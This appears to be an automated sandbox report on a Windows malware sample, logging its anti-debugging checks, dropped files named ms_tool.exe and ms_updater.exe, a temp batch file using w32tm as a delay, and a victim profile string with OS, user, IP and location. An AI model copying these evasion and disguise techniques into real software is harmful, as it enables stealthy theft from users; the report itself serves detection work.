Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Code function: 0_2_00F5B991 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00F5B991

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F6528D mov ecx, dword ptr fs:[00000030h]		0_2_00F6528D
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F6CEEC mov eax, dword ptr fs:[00000030h]		0_2_00F6CEEC

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Code function: 0_2_00F72D78 GetProcessHeap,

0_2_00F72D78

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F5B991 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F5B991
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F5BAF3 SetUnhandledExceptionFilter,	0_2_00F5BAF3
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F61C34 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00F61C34
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: 0_2_00F5BC05 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00F5BC05
Source: C:\Users\user\AppData\Roaming\ms_tool.exe	Code function: 1_2_00007FF68C5E28E4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF68C5E28E4
Source: C:\Users\user\AppData\Roaming\ms_tool.exe	Code function: 1_2_00007FF68C5E2BE0 SetUnhandledExceptionFilter,	1_2_00007FF68C5E2BE0

Source: C:\Users\user\AppData\Roaming\ms_updater.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process created: C:\Users\user\AppData\Roaming\ms_tool.exe "C:\Users\user\AppData\Roaming\ms_tool.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Process created: C:\Users\user\AppData\Roaming\ms_updater.exe "C:\Users\user\AppData\Roaming\ms_updater.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jClCs9nEU3.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior

Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"?","Has Media Clients (1153)":"?","Has FTP Clients (1153)":"?"},"5.0.1",5,0,"","user","364339","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\AppData\\Roaming","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.33","US / United States of America","New York / New York City"," / "]
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: known (Unknown)","Program Manager","8.46.123.33","US / United States of America","New York / New York City"," / "]
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp, ms_updater.exe, 00000003.00000002.1759262008.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@}
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: ms_updater.exe, 00000003.00000002.1759262008.00000000033A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"?","Has Media Clients (1153)":"?","Has FTP Clients (1153)":"?"},"5.0.1",5,0,"","user","364339","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\AppData\\Roaming","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.33","US / United States of America","New York / NewX

Source: C:\Users\user\Desktop\1hibLFnCm1.exe

Code function: 0_2_00F5B675 cpuid

0_2_00F5B675

Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetLocaleInfoW,	0_2_00F72818
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00F721B2
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00F72941
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetLocaleInfoW,	0_2_00F72A47
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: EnumSystemLocalesW,	0_2_00F6821E
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetLocaleInfoW,	0_2_00F723AD
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00F72B16
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: EnumSystemLocalesW,	0_2_00F7249F
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: EnumSystemLocalesW,	0_2_00F72454
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00F725C5
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: EnumSystemLocalesW,	0_2_00F7253A
Source: C:\Users\user\Desktop\1hibLFnCm1.exe	Code function: GetLocaleInfoW,	0_2_00F68744

Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Users\user\AppData\Roaming\ms_updater.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ms_updater.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
